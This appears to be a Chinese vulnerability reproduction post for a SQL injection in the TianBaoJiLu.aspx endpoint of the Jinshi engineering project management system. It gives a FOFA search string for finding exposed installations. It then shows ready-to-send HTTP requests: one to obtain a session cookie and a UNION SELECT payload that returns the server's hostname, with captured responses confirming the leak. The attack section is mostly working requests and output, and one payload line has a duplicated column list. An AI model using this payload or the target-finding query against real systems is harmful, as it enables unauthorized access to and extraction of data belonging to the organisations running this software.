

# J19-1金石-工程项目管理系统-SQL

## 漏洞描述:

金石工程项目 [管理系统] (https://so.csdn.net/so/search?q=%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F&spm=1001.2101.3001.7020) TianBaoJiLu.aspx接口处存在SQL注入漏洞，攻击者可通过该漏洞获取数据。

## 影响版本:

- 金石-工程项目管理系统

## 网站图片:



## 网络测绘:

### fofa语法:

body="金石工程项目管理系统"

## 漏洞复现:

### payload:

```
GET / HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
```

### 效果图:

访问根目录获取有效cookie

Request

< > 数据包扫描 热加载 构造请求

1 GET /-HTTP/1.1

2 Host : 8081

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4 Content-Type: application/x-www-form-urlencoded

5 Accept-Encoding: gzip

Responses 10742bytes / 31ms

1 HTTP/1.1 200 OK

2 Cache-Control: private

3 Content-Type: text/html; charset=utf-8

4 Server: Microsoft IIS/8.5

5 Set-Cookie: ASP.NET\_SessionId=sjb5t5aoaybpw5bign4bfj32

6 X-AspNet-Version: 4.0.30319

7 X-Powered-By: ASP.NET

8 Date: Thu, 30 Nov 2023 13:39:23 GMT

9 Content-Length: 10742

10

11

12

13 <!DOCTYPE html>

14

15 <html xmlns="http://www.w3.org/1999/xhtml"

16 <head><meta charset="utf-8"><meta http-equiv="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><title>用户登陆</title>

17

18

19

20 <!-- Set render engine for 360 browser -->

21 <meta name="renderer" content="webkit">

22 <!-- No Baidu Siteapp -->

23 <script src="/Scripts/jquery-1.10.2.js"></script><script src="/Scripts/jquery.validate.js"></script></head>

GET /query/shigongjihuaajindu/TianBaoJiLu.aspx?id=1+Union+Select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,host\_name(),23,24,25,26,27,28,29,30,31,32,33,34,35,16,17,18,19,20,21,host\_name(),23,24,25,26,27,28,29,30,31,32,33,34,35 HTTP/1.1  
Host: your-ip  
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15  
Content-Type: application/x-www-form-urlencoded  
Cookie: 获取到的cookie  
Accept-Encoding: gzip

#### 查询主机名

Request

< > 数据包扫描 热加载 构造请求

1 GET /query/shigongjihuaajindu/TianBaoJiLu.aspx?id=1+Union+Select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,host\_name(),23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43+ HTTP/1.1

2 Host : 8081

3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_14\_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

4 Content-Type: application/x-www-form-urlencoded

5 Cookie: ASP.NET\_SessionId=sjb5t5aoaybpw5bign4bfj32

6 Accept-Encoding: gzip

7

8

Responses 1808bytes / 35ms

28

29 <script>

30 <!-- //window.onbeforeunload==>onbeforeunload

31 <!-- //window.onunload==>onunload\_handler

32 <!-- var index = parent.layer.getFrameIndex(window.name); if (index < 1) {

33 <!--

34 </script>

35 </head>

36 <body>

37

38 <div>

39

40 <table style="border-collapse: collapse; border: 1px solid #111111; border-color: #111111; cellspacing: 1; text-align: center;">

41 <tr>

42 <td>标题</td>

43 <td>填报人</td>

44 <td>发生日期</td>

45 <td>填写日期</td>

46 <td>完成量</td>

47 <td>备注</td>

48 </tr>

49 <tr>

50 <td>iZy17y2eqmz219Z</td><td>日</td><td>4</td><td>5</td><td></td></tr>

51 </table>